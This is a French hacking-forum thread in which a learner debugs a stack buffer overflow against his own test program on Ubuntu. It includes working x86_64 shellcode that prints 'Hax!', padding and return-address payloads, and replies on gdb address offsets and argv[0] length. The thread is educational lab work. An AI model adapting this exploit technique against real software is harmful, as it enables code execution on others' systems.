• STATISTIQUES
  • Il y a eu un total de 3 membres et 13542 visiteurs sur le site dans les dernières 24h pour un total de 13 545 personnes!


    Membres: 2 608
    Discussions: 3 580
    Messages: 32 821
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Exploit-db
    Une base de données d'exploits triés par genre (GHDB, Remote, Local, Web, DOS, ShellCode) à ...
    Vulnérabilités
    [EN] Hack this site
    Basic: 11, Realistic: 17, Application: 18, Programming: 12, Extbasic: 14, Javascript: 7, Stego: 17
    Challenges
    [EN] Lost-chall
    Site de challenge présenté sous la forme de différente saison. Pour passer une saison vous devez avoir accumulÃ...
    Challenges
    [FR] PHP France
    Pour tout savoir sur le PHP, en français. Vous trouverez des tutoriels, des exemples, des astuces, toute la do...
    Hacking
    [EN] phrack
    Lot's of stuff !
    Hacking
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
demande de détail sur la sortie de mon buffer overflow
29-03-2016, 16h03 (Modification du message : 29-03-2016, 16h05 par Athar.)
Message : #1
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
demande de détail sur la sortie de mon buffer overflow
Bonjour j'étudie les buffer overflow et création de shellcode sur mon ubuntu 14.04 lts x86_64.
Je comprends les principes de la stack.
Voilà j'ai un tutoriel qu je suis actuellement, mais j'ai deux sortie différentes , l'un sous gdb , l'autre depuis un terminal classique.

Le but étant d'affiche le string du shellcode, " Hax! "

ASLR est à 0
Compilation:gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

Je prend l'habitude de revérifié si la pile est exécutable (-zexecstack) par un
Code :
root@krihna:/home/krihna/buffer# execstack -q oldskool
X oldskool

Sous GDB:
Code :
(gdb) r $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!
Comme on peut le voir ça fonctionne.

Sous un terminal en root, j'obtiens une erreur, que je n'arrive pas à "gérer".

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"'`
Instruction non permise (core dumped)

et Non-root:
Code :
krihna@krihna:~/buffer$ Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting : commande introuvable
Comment vous pouvez le voir, même injection du shellcode.
J'ai aussi essayé de modifié le padding (si c'est bien le bon terme)"A"*27.
Si quelqu'un pouvais me mettre sur une piste.
Merci à vous.
+1 (0) -1 (0) Répondre
29-03-2016, 17h08 (Modification du message : 29-03-2016, 17h12 par Athar.)
Message : #2
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
https://wiki.ubuntu.com/Security/Features

En faite je pense que c'est normal, passe sous gdb, mais pas en mode normalement.
C'est ubuntu qui bloque par sécurité le lancement du prog.

Je veut dire par là, que c'est la méthode d'exploitation(très classique)qui pose problème.
+1 (0) -1 (0) Répondre
29-03-2016, 18h36
Message : #3
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,610
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: demande de détail sur la sortie de mon buffer overflow
Sinon ça peut être les adresses sur la stack faussées par gdb (qui rajoute ses propres variables d'environnement, provoquant un décalage dans les adresses), ou tout bêtement l'ASLR qui est laissé activé Smile
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
29-03-2016, 19h27
Message : #4
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
Merci pour cette réponse.
ALSR est bien désactivé.
Je penché aussi sur ta premier proposition, je pense que la variable est réutilisé, ce qui fausse la sortie.

J'ai l'idée de passé tout ça sous gdb, et en sortir un petit tutoriel.
+1 (0) -1 (0) Répondre
30-03-2016, 11h35 (Modification du message : 30-03-2016, 11h35 par gruik.)
Message : #5
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: demande de détail sur la sortie de mon buffer overflow
salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (2) -1 (0) Répondre
30-03-2016, 16h20
Message : #6
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
(30-03-2016, 11h35)gruik a écrit : salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage

Merci pour cette information fort utile pour ma part.
Fonctionne sous GDB.
terminal root:
Code :
root@krihna:/home/krihna/buffer# /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!root@krihna:/home/krihna/buffer#

et en non-root, j'ai du modifié le padding à "A" *13
Code :
krihna@krihna:~/buffer$ /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*13 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!krihna@krihna:~/buffer$

Merci encore à toi pour cette astuce.
Je vais essayé de comprendre le pourquoi du comment de tout ça, surtout sur ta méthode.
+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut